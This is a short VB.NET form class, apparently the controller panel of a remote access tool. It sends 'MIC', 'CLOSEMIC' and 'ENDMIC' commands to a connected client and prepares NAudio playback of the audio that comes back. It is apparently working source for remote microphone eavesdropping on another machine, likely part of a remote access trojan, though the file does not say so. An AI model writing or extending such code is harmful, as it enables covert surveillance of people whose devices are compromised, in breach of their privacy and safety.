Imports NAudio.Wave Imports System.Threading Public Class MIC Public C As Client Public waveplayer As WaveOut = New WaveOut() Public bwp As BufferedWaveProvider = New BufferedWaveProvider(New WaveFormat(8000, 16, 1)) Private Sub MIC_Load(sender As Object, e As EventArgs) Handles MyBase.Load Guna2GradientButton1.PerformClick() End Sub Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick Try If Not C.IsConnected Then Close() End If Catch ex As Exception Debug.WriteLine(ex.Message) End Try End Sub Private Sub MIC_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing Try waveplayer.Stop() waveplayer?.Dispose() Catch ex As Exception Debug.WriteLine(ex.Message) End Try Dim B As Byte() = SB("ENDMIC") ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B) End Sub Private Sub Guna2GradientButton1_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton1.Click Try If Guna2GradientButton1.Text = "Start" Then Dim B As Byte() = SB("MIC" & SettingsHelper.SPL & Guna2ComboBox1.SelectedIndex.ToString) ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B) Guna2GradientButton1.Text = "Stop" Guna2GradientButton1.Image = My.Resources._Stop PictureBox1.Enabled = True Else Dim B As Byte() = SB("CLOSEMIC") ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B) Guna2GradientButton1.Text = "Start" Guna2GradientButton1.Image = My.Resources.Play PictureBox1.Enabled = False End If Catch ex As Exception Debug.WriteLine(ex.Message) End Try End Sub Private Sub Guna2ComboBox1_SelectedIndexChanged(sender As Object, e As EventArgs) Handles Guna2ComboBox1.SelectedIndexChanged Try Dim B As Byte() = SB("CLOSEMIC") ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B) Guna2GradientButton1.Text = "Start" Guna2GradientButton1.Image = My.Resources.Play PictureBox1.Enabled = False Catch ex As Exception Debug.WriteLine(ex.Message) End Try End Sub End Class